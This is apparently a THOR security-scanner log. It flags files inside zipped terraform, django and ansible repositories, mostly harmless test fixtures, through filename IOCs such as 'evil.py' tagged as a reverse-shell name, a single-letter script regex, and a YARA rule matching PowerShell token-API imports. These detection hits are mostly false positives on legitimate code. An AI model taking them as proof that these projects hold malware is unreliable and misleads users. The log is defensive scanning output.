Sep 10 12:29:14 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: Filescan MESSAGE: Suspicious file found SCANID: S-BxzYg1khKSI SCORE: 50 FILE: E:\Users\j-taylor\Desktop\ПО\ПО\DevOps Rep\terraform-main.zip\terraform-main\internal\lang\testdata\functions-test\hello.tmpl EXT: .tmpl TYPE: UNKNOWN SIZE: 15 MD5: 8e147b8c19f76e99063c99dc2a144f5d SHA1: b6e927178337b9976a3496499682e5f231bdef03 SHA256: e0e3fefc2c88b95e221d37afb0e3c4da1e10073f046d3416f4b64e91c131ce9a FIRSTBYTES: 48656c6c6f2c20247b6e616d657d21 / Hello, ${name}! MODIFIED: Mon Jul 29 11:07:37.000 2024 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Desktop\ПО\ПО\DevOps Rep\terraform-main.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 9103146 ARCHIVE_MD5: 1b21be3bad334b290996069e4162ada4 ARCHIVE_SHA1: 20037437fde7bd949d85a738583d415744d09b95 ARCHIVE_SHA256: 07c247e142ec0de6b85457df7139c641c412d0814950fce16994229fc381b264 ARCHIVE_FIRSTBYTES: 504b03040a0000000000f220fd58000000000000 / PK  X ARCHIVE_CREATED: Mon Jul 29 01:25:20.000 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:40.806 2024 ARCHIVE_ACCESSED: Tue Jul 30 12:59:40.806 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: Filename IOC \hello.tmp SUBSCORE_1: 50 REF_1: RAT - https://twitter.com/obfusor/status/1538783112145928192 SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \hello.tmp REASONS_COUNT: 1
Sep 10 12:29:14 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: Filescan MESSAGE: Suspicious file found SCANID: S-BxzYg1khKSI SCORE: 50 FILE: E:\Users\j-taylor\Desktop\ПО\ПО\DevOps Rep\terraform-main.zip\terraform-main\internal\lang\testdata\functions-test\subdirectory\hello.tmpl EXT: .tmpl TYPE: UNKNOWN SIZE: 15 MD5: 8e147b8c19f76e99063c99dc2a144f5d SHA1: b6e927178337b9976a3496499682e5f231bdef03 SHA256: e0e3fefc2c88b95e221d37afb0e3c4da1e10073f046d3416f4b64e91c131ce9a FIRSTBYTES: 48656c6c6f2c20247b6e616d657d21 / Hello, ${name}! MODIFIED: Mon Jul 29 11:07:37.000 2024 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Desktop\ПО\ПО\DevOps Rep\terraform-main.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 9103146 ARCHIVE_MD5: 1b21be3bad334b290996069e4162ada4 ARCHIVE_SHA1: 20037437fde7bd949d85a738583d415744d09b95 ARCHIVE_SHA256: 07c247e142ec0de6b85457df7139c641c412d0814950fce16994229fc381b264 ARCHIVE_FIRSTBYTES: 504b03040a0000000000f220fd58000000000000 / PK  X ARCHIVE_CREATED: Mon Jul 29 01:25:20.000 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:40.806 2024 ARCHIVE_ACCESSED: Tue Jul 30 12:59:40.806 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: Filename IOC \hello.tmp SUBSCORE_1: 50 REF_1: RAT - https://twitter.com/obfusor/status/1538783112145928192 SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \hello.tmp REASONS_COUNT: 1
Sep 10 12:30:03 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: Filescan MESSAGE: Suspicious file found SCANID: S-BxzYg1khKSI SCORE: 40 FILE: E:\Users\j-taylor\Documents\Dev Rep\django-main.zip\django-main\tests\forms_tests\field_tests\filepathfield_test_dir\a.py EXT: .py TYPE: UNKNOWN SIZE: 0 MD5: d41d8cd98f00b204e9800998ecf8427e SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709 SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 FIRSTBYTES:  /  MODIFIED: Mon Jul 29 10:31:32.000 2024 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Documents\Dev Rep\django-main.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 15363470 ARCHIVE_MD5: 36f7c9edd23803cacc0096fd1abebd0d ARCHIVE_SHA1: 48d7e642c57d625f72e05c062a4ed7fd38f4bb20 ARCHIVE_SHA256: 4586f0f12e7b077d135189318cc630216ee27d5a6edd6ae93ea4acc00774d010 ARCHIVE_FIRSTBYTES: 504b03040a0000000000f01bfd58000000000000 / PK X ARCHIVE_CREATED: Tue Aug  6 16:22:42.825 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:37.164 2024 ARCHIVE_ACCESSED: Tue Aug  6 16:22:43.466 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: Filename IOC \\[\w]\.(sh|ps1|py|bat)$ SUBSCORE_1: 40 REF_1: Suspicious Single Letter Script Names SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \a.py REASONS_COUNT: 1
Sep 10 12:30:03 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: Filescan MESSAGE: Suspicious file found SCANID: S-BxzYg1khKSI SCORE: 40 FILE: E:\Users\j-taylor\Documents\Dev Rep\django-main.zip\django-main\tests\forms_tests\field_tests\filepathfield_test_dir\b.py EXT: .py TYPE: UNKNOWN SIZE: 0 MD5: d41d8cd98f00b204e9800998ecf8427e SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709 SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 FIRSTBYTES:  /  MODIFIED: Mon Jul 29 10:31:32.000 2024 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Documents\Dev Rep\django-main.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 15363470 ARCHIVE_MD5: 36f7c9edd23803cacc0096fd1abebd0d ARCHIVE_SHA1: 48d7e642c57d625f72e05c062a4ed7fd38f4bb20 ARCHIVE_SHA256: 4586f0f12e7b077d135189318cc630216ee27d5a6edd6ae93ea4acc00774d010 ARCHIVE_FIRSTBYTES: 504b03040a0000000000f01bfd58000000000000 / PK X ARCHIVE_CREATED: Tue Aug  6 16:22:42.825 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:37.164 2024 ARCHIVE_ACCESSED: Tue Aug  6 16:22:43.466 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: Filename IOC \\[\w]\.(sh|ps1|py|bat)$ SUBSCORE_1: 40 REF_1: Suspicious Single Letter Script Names SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \b.py REASONS_COUNT: 1
Sep 10 12:30:03 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: Filescan MESSAGE: Suspicious file found SCANID: S-BxzYg1khKSI SCORE: 40 FILE: E:\Users\j-taylor\Documents\Dev Rep\django-main.zip\django-main\tests\forms_tests\field_tests\filepathfield_test_dir\c\d.py EXT: .py TYPE: UNKNOWN SIZE: 0 MD5: d41d8cd98f00b204e9800998ecf8427e SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709 SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 FIRSTBYTES:  /  MODIFIED: Mon Jul 29 10:31:32.000 2024 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Documents\Dev Rep\django-main.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 15363470 ARCHIVE_MD5: 36f7c9edd23803cacc0096fd1abebd0d ARCHIVE_SHA1: 48d7e642c57d625f72e05c062a4ed7fd38f4bb20 ARCHIVE_SHA256: 4586f0f12e7b077d135189318cc630216ee27d5a6edd6ae93ea4acc00774d010 ARCHIVE_FIRSTBYTES: 504b03040a0000000000f01bfd58000000000000 / PK X ARCHIVE_CREATED: Tue Aug  6 16:22:42.825 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:37.164 2024 ARCHIVE_ACCESSED: Tue Aug  6 16:22:43.466 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: Filename IOC \\[\w]\.(sh|ps1|py|bat)$ SUBSCORE_1: 40 REF_1: Suspicious Single Letter Script Names SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \d.py REASONS_COUNT: 1
Sep 10 12:30:03 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: Filescan MESSAGE: Suspicious file found SCANID: S-BxzYg1khKSI SCORE: 40 FILE: E:\Users\j-taylor\Documents\Dev Rep\django-main.zip\django-main\tests\forms_tests\field_tests\filepathfield_test_dir\c\e.py EXT: .py TYPE: UNKNOWN SIZE: 0 MD5: d41d8cd98f00b204e9800998ecf8427e SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709 SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 FIRSTBYTES:  /  MODIFIED: Mon Jul 29 10:31:32.000 2024 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Documents\Dev Rep\django-main.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 15363470 ARCHIVE_MD5: 36f7c9edd23803cacc0096fd1abebd0d ARCHIVE_SHA1: 48d7e642c57d625f72e05c062a4ed7fd38f4bb20 ARCHIVE_SHA256: 4586f0f12e7b077d135189318cc630216ee27d5a6edd6ae93ea4acc00774d010 ARCHIVE_FIRSTBYTES: 504b03040a0000000000f01bfd58000000000000 / PK X ARCHIVE_CREATED: Tue Aug  6 16:22:42.825 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:37.164 2024 ARCHIVE_ACCESSED: Tue Aug  6 16:22:43.466 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: Filename IOC \\[\w]\.(sh|ps1|py|bat)$ SUBSCORE_1: 40 REF_1: Suspicious Single Letter Script Names SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \e.py REASONS_COUNT: 1
Sep 10 12:30:03 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: Filescan MESSAGE: Suspicious file found SCANID: S-BxzYg1khKSI SCORE: 40 FILE: E:\Users\j-taylor\Documents\Dev Rep\django-main.zip\django-main\tests\forms_tests\field_tests\filepathfield_test_dir\c\f\g.py EXT: .py TYPE: UNKNOWN SIZE: 0 MD5: d41d8cd98f00b204e9800998ecf8427e SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709 SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 FIRSTBYTES:  /  MODIFIED: Mon Jul 29 10:31:32.000 2024 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Documents\Dev Rep\django-main.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 15363470 ARCHIVE_MD5: 36f7c9edd23803cacc0096fd1abebd0d ARCHIVE_SHA1: 48d7e642c57d625f72e05c062a4ed7fd38f4bb20 ARCHIVE_SHA256: 4586f0f12e7b077d135189318cc630216ee27d5a6edd6ae93ea4acc00774d010 ARCHIVE_FIRSTBYTES: 504b03040a0000000000f01bfd58000000000000 / PK X ARCHIVE_CREATED: Tue Aug  6 16:22:42.825 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:37.164 2024 ARCHIVE_ACCESSED: Tue Aug  6 16:22:43.466 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: Filename IOC \\[\w]\.(sh|ps1|py|bat)$ SUBSCORE_1: 40 REF_1: Suspicious Single Letter Script Names SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \g.py REASONS_COUNT: 1
Sep 10 12:30:05 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: Filescan MESSAGE: Suspicious file found SCANID: S-BxzYg1khKSI SCORE: 40 FILE: E:\Users\j-taylor\Documents\Dev Rep\django-main.zip\django-main\tests\migrations\test_migrations_clashing_prefix\a.py EXT: .py TYPE: UNKNOWN SIZE: 83 MD5: be7a5075cd9ac9dc757a1f3192caa0a4 SHA1: 10e452a3f3b3a8305737e13722dd2821915dd373 SHA256: 944cbcd2c079d80f8a63b3af673447f2325e70693cf447552b206141a7591041 FIRSTBYTES: 66726f6d20646a616e676f2e646220696d706f72 / from django.db impor MODIFIED: Mon Jul 29 10:31:32.000 2024 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Documents\Dev Rep\django-main.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 15363470 ARCHIVE_MD5: 36f7c9edd23803cacc0096fd1abebd0d ARCHIVE_SHA1: 48d7e642c57d625f72e05c062a4ed7fd38f4bb20 ARCHIVE_SHA256: 4586f0f12e7b077d135189318cc630216ee27d5a6edd6ae93ea4acc00774d010 ARCHIVE_FIRSTBYTES: 504b03040a0000000000f01bfd58000000000000 / PK X ARCHIVE_CREATED: Tue Aug  6 16:22:42.825 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:37.164 2024 ARCHIVE_ACCESSED: Tue Aug  6 16:22:43.466 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: Filename IOC \\[\w]\.(sh|ps1|py|bat)$ SUBSCORE_1: 40 REF_1: Suspicious Single Letter Script Names SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \a.py REASONS_COUNT: 1
Sep 10 12:30:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Filescan MESSAGE: Possibly Dangerous file found SCANID: S-BxzYg1khKSI SCORE: 65 FILE: E:\Users\j-taylor\Documents\Dev Rep\django-main.zip\django-main\tests\utils_tests\traversal_archives\traversal.tar\evil.py EXT: .py TYPE: UNKNOWN SIZE: 0 MD5: d41d8cd98f00b204e9800998ecf8427e SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709 SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 FIRSTBYTES:  /  MODIFIED: Fri Jan 22 10:01:29.000 2021 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Documents\Dev Rep\django-main.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 15363470 ARCHIVE_MD5: 36f7c9edd23803cacc0096fd1abebd0d ARCHIVE_SHA1: 48d7e642c57d625f72e05c062a4ed7fd38f4bb20 ARCHIVE_SHA256: 4586f0f12e7b077d135189318cc630216ee27d5a6edd6ae93ea4acc00774d010 ARCHIVE_FIRSTBYTES: 504b03040a0000000000f01bfd58000000000000 / PK X ARCHIVE_CREATED: Tue Aug  6 16:22:42.825 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:37.164 2024 ARCHIVE_ACCESSED: Tue Aug  6 16:22:43.466 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: Filename IOC \evil.py SUBSCORE_1: 65 REF_1: Typical reverse shell names / suspicious file name SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \evil.py REASONS_COUNT: 1
Sep 10 12:30:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Filescan MESSAGE: Possibly Dangerous file found SCANID: S-BxzYg1khKSI SCORE: 65 FILE: E:\Users\j-taylor\Documents\Dev Rep\django-main.zip\django-main\tests\utils_tests\traversal_archives\traversal_absolute.tar\tmp\evil.py EXT: .py TYPE: UNKNOWN SIZE: 0 MD5: d41d8cd98f00b204e9800998ecf8427e SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709 SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 FIRSTBYTES:  /  MODIFIED: Fri Jan 22 10:46:59.000 2021 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Documents\Dev Rep\django-main.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 15363470 ARCHIVE_MD5: 36f7c9edd23803cacc0096fd1abebd0d ARCHIVE_SHA1: 48d7e642c57d625f72e05c062a4ed7fd38f4bb20 ARCHIVE_SHA256: 4586f0f12e7b077d135189318cc630216ee27d5a6edd6ae93ea4acc00774d010 ARCHIVE_FIRSTBYTES: 504b03040a0000000000f01bfd58000000000000 / PK X ARCHIVE_CREATED: Tue Aug  6 16:22:42.825 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:37.164 2024 ARCHIVE_ACCESSED: Tue Aug  6 16:22:43.466 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: Filename IOC \evil.py SUBSCORE_1: 65 REF_1: Typical reverse shell names / suspicious file name SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \evil.py REASONS_COUNT: 1
Sep 10 12:30:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Archive MESSAGE: Skipping nested object because the maximum amount of nested objects was reached SCANID: S-BxzYg1khKSI PATH: E:\Users\j-taylor\Documents\Dev Rep\django-main.zip\django-main\tests\utils_tests\traversal_archives\traversal_disk_win.zip COUNT: 10001
Sep 10 12:30:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Archive MESSAGE: Skipping nested object because the maximum amount of nested objects was reached SCANID: S-BxzYg1khKSI PATH: E:\Users\j-taylor\Documents\Dev Rep\django-main.zip COUNT: 10001
Sep 10 12:30:32 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Archive MESSAGE: Skipping nested object because the maximum amount of nested objects was reached SCANID: S-BxzYg1khKSI PATH: E:\Users\j-taylor\Documents\Dev Rep\freeCodeCamp-main.zip COUNT: 10001
Sep 10 12:31:09 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: Filescan MESSAGE: Suspicious file found SCANID: S-BxzYg1khKSI SCORE: 40 FILE: E:\Users\j-taylor\Documents\DevOps Rep\ansible-devel.zip\ansible-devel\.azure-pipelines\commands\i.sh EXT: .sh TYPE: UNIX SCRIPT SIZE: 393 MD5: b45421b47ee669469c2ffaa9c4017e60 SHA1: a29abee167ba0f2628f871f0b0adcba0abe7f649 SHA256: 21cedac777540687aadfdae9416b4a14f39dce04a4122948f9780274f284ee28 FIRSTBYTES: 23212f7573722f62696e2f656e7620626173680a / #!/usr/bin/env bash  MODIFIED: Mon Jul 29 08:41:23.000 2024 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Documents\DevOps Rep\ansible-devel.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 5491432 ARCHIVE_MD5: 7fdbf84c4fc030083bd41e484e4efaf1 ARCHIVE_SHA1: 47f210fe5617b2f79255f38c32bc51aef0e3b932 ARCHIVE_SHA256: 31b9ff5f3f6cd6c0e5fa9f03e9914dd8ec4196c54cd9c0aee81e4d70d370a113 ARCHIVE_FIRSTBYTES: 504b03040a00000000002b0dfd58000000000000 / PK +X ARCHIVE_CREATED: Tue Aug  6 16:22:44.712 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:38.321 2024 ARCHIVE_ACCESSED: Tue Aug  6 16:22:44.934 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: Filename IOC \\[\w]\.(sh|ps1|py|bat)$ SUBSCORE_1: 40 REF_1: Suspicious Single Letter Script Names SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \i.sh REASONS_COUNT: 1
Sep 10 12:31:19 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: Filescan MESSAGE: Suspicious file found SCANID: S-BxzYg1khKSI SCORE: 40 FILE: E:\Users\j-taylor\Documents\DevOps Rep\ansible-devel.zip\ansible-devel\test\integration\targets\module_precedence\lib_with_extension\a.py EXT: .py TYPE: UNIX SCRIPT SIZE: 180 MD5: 2161d8f74a56a5b0ab97a3d69ec6e8d2 SHA1: 9fcf715b329114530f594feb0b5d3bf800e31f1b SHA256: 32a2911325a5ff929dc64d6618ba9b12f68bd0efa428a201b160f3d5a073609b FIRSTBYTES: 23212f7573722f62696e2f707974686f6e0a6672 / #!/usr/bin/python fr MODIFIED: Mon Jul 29 08:41:23.000 2024 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Documents\DevOps Rep\ansible-devel.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 5491432 ARCHIVE_MD5: 7fdbf84c4fc030083bd41e484e4efaf1 ARCHIVE_SHA1: 47f210fe5617b2f79255f38c32bc51aef0e3b932 ARCHIVE_SHA256: 31b9ff5f3f6cd6c0e5fa9f03e9914dd8ec4196c54cd9c0aee81e4d70d370a113 ARCHIVE_FIRSTBYTES: 504b03040a00000000002b0dfd58000000000000 / PK +X ARCHIVE_CREATED: Tue Aug  6 16:22:44.712 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:38.321 2024 ARCHIVE_ACCESSED: Tue Aug  6 16:22:44.934 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: Filename IOC \\[\w]\.(sh|ps1|py|bat)$ SUBSCORE_1: 40 REF_1: Suspicious Single Letter Script Names SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \a.py REASONS_COUNT: 1
Sep 10 12:31:19 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: Filescan MESSAGE: Suspicious file found SCANID: S-BxzYg1khKSI SCORE: 40 FILE: E:\Users\j-taylor\Documents\DevOps Rep\ansible-devel.zip\ansible-devel\test\integration\targets\module_precedence\roles_with_extension\foo\library\a.py EXT: .py TYPE: UNIX SCRIPT SIZE: 191 MD5: 64f3294e5ac928384f0b3ff6220f0e05 SHA1: 1b48a8546ef1a9d271895d0d9a2ee02883058f06 SHA256: 907b03cd8df885c613d09def3e36a427ea084284b039d36e00b8fe7af5d8522b FIRSTBYTES: 23212f7573722f62696e2f707974686f6e0a6672 / #!/usr/bin/python fr MODIFIED: Mon Jul 29 08:41:23.000 2024 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Documents\DevOps Rep\ansible-devel.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 5491432 ARCHIVE_MD5: 7fdbf84c4fc030083bd41e484e4efaf1 ARCHIVE_SHA1: 47f210fe5617b2f79255f38c32bc51aef0e3b932 ARCHIVE_SHA256: 31b9ff5f3f6cd6c0e5fa9f03e9914dd8ec4196c54cd9c0aee81e4d70d370a113 ARCHIVE_FIRSTBYTES: 504b03040a00000000002b0dfd58000000000000 / PK +X ARCHIVE_CREATED: Tue Aug  6 16:22:44.712 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:38.321 2024 ARCHIVE_ACCESSED: Tue Aug  6 16:22:44.934 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: Filename IOC \\[\w]\.(sh|ps1|py|bat)$ SUBSCORE_1: 40 REF_1: Suspicious Single Letter Script Names SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \a.py REASONS_COUNT: 1
Sep 10 12:31:19 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Filescan MESSAGE: Possibly Dangerous file found SCANID: S-BxzYg1khKSI SCORE: 70 FILE: E:\Users\j-taylor\Documents\DevOps Rep\ansible-devel.zip\ansible-devel\test\integration\targets\module_utils_Ansible.Become\library\ansible_become_tests.ps1 EXT: .ps1 TYPE: Script SIZE: 47988 MD5: 757204f708912769208639d0e7f492ed SHA1: b267b5cb3605d8e9757ca0a72c45c36d8683ca22 SHA256: 244a4ce2f3f5db47897df657a51e69d95354deeab93d4629bfe342024645be29 FIRSTBYTES: 2321706f7765727368656c6c0a0a23416e736962 / #!powershell  #Ansib MODIFIED: Mon Jul 29 08:41:23.000 2024 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Documents\DevOps Rep\ansible-devel.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 5491432 ARCHIVE_MD5: 7fdbf84c4fc030083bd41e484e4efaf1 ARCHIVE_SHA1: 47f210fe5617b2f79255f38c32bc51aef0e3b932 ARCHIVE_SHA256: 31b9ff5f3f6cd6c0e5fa9f03e9914dd8ec4196c54cd9c0aee81e4d70d370a113 ARCHIVE_FIRSTBYTES: 504b03040a00000000002b0dfd58000000000000 / PK +X ARCHIVE_CREATED: Tue Aug  6 16:22:44.712 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:38.321 2024 ARCHIVE_ACCESSED: Tue Aug  6 16:22:44.934 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: YARA rule SUSP_PS1_FunctionImports_Jul22_1 / Detects PowerShell tools for new process creations SUBSCORE_1: 70 REF_1: https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/UAC-TokenMagic.ps1 SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "New-Object " in "me.ToString());\x0a        }\x0a    }\x0a}\x0a'@\x0a    $logon = New-Object -TypeName Ansible.Logon\x0a    ConvertTo-Json -InputO" at 0x3f2f Str2: "public static extern bool OpenProcessToken(" in "ort(\"advapi32.dll\", SetLastError = true)]\x0a        public static extern bool OpenProcessToken(\x0a            SafeNativeHandle ProcessHandle,\x0a     " at 0x18d0 RULEDATE_1: 2022-07-29 TAGS_1: SCRIPT, SUSP, T1059_001 RULENAME_1: SUSP_PS1_FunctionImports_Jul22_1 AUTHOR_1: Florian Roth REASONS_COUNT: 1
Sep 10 12:31:34 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: Filescan MESSAGE: Suspicious file found SCANID: S-BxzYg1khKSI SCORE: 50 FILE: E:\Users\j-taylor\Documents\DevOps Rep\terraform-main.zip\terraform-main\internal\lang\funcs\testdata\hello.tmpl EXT: .tmpl TYPE: UNKNOWN SIZE: 15 MD5: 8e147b8c19f76e99063c99dc2a144f5d SHA1: b6e927178337b9976a3496499682e5f231bdef03 SHA256: e0e3fefc2c88b95e221d37afb0e3c4da1e10073f046d3416f4b64e91c131ce9a FIRSTBYTES: 48656c6c6f2c20247b6e616d657d21 / Hello, ${name}! MODIFIED: Mon Jul 29 11:07:37.000 2024 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Documents\DevOps Rep\terraform-main.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 9103146 ARCHIVE_MD5: 1b21be3bad334b290996069e4162ada4 ARCHIVE_SHA1: 20037437fde7bd949d85a738583d415744d09b95 ARCHIVE_SHA256: 07c247e142ec0de6b85457df7139c641c412d0814950fce16994229fc381b264 ARCHIVE_FIRSTBYTES: 504b03040a0000000000f220fd58000000000000 / PK  X ARCHIVE_CREATED: Tue Aug  6 16:22:46.731 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:40.806 2024 ARCHIVE_ACCESSED: Tue Aug  6 16:22:47.216 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: Filename IOC \hello.tmp SUBSCORE_1: 50 REF_1: RAT - https://twitter.com/obfusor/status/1538783112145928192 SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \hello.tmp REASONS_COUNT: 1
Sep 10 12:31:34 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: Filescan MESSAGE: Suspicious file found SCANID: S-BxzYg1khKSI SCORE: 50 FILE: E:\Users\j-taylor\Documents\DevOps Rep\terraform-main.zip\terraform-main\internal\lang\testdata\functions-test\hello.tmpl EXT: .tmpl TYPE: UNKNOWN SIZE: 15 MD5: 8e147b8c19f76e99063c99dc2a144f5d SHA1: b6e927178337b9976a3496499682e5f231bdef03 SHA256: e0e3fefc2c88b95e221d37afb0e3c4da1e10073f046d3416f4b64e91c131ce9a FIRSTBYTES: 48656c6c6f2c20247b6e616d657d21 / Hello, ${name}! MODIFIED: Mon Jul 29 11:07:37.000 2024 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Documents\DevOps Rep\terraform-main.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 9103146 ARCHIVE_MD5: 1b21be3bad334b290996069e4162ada4 ARCHIVE_SHA1: 20037437fde7bd949d85a738583d415744d09b95 ARCHIVE_SHA256: 07c247e142ec0de6b85457df7139c641c412d0814950fce16994229fc381b264 ARCHIVE_FIRSTBYTES: 504b03040a0000000000f220fd58000000000000 / PK  X ARCHIVE_CREATED: Tue Aug  6 16:22:46.731 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:40.806 2024 ARCHIVE_ACCESSED: Tue Aug  6 16:22:47.216 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: Filename IOC \hello.tmp SUBSCORE_1: 50 REF_1: RAT - https://twitter.com/obfusor/status/1538783112145928192 SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \hello.tmp REASONS_COUNT: 1
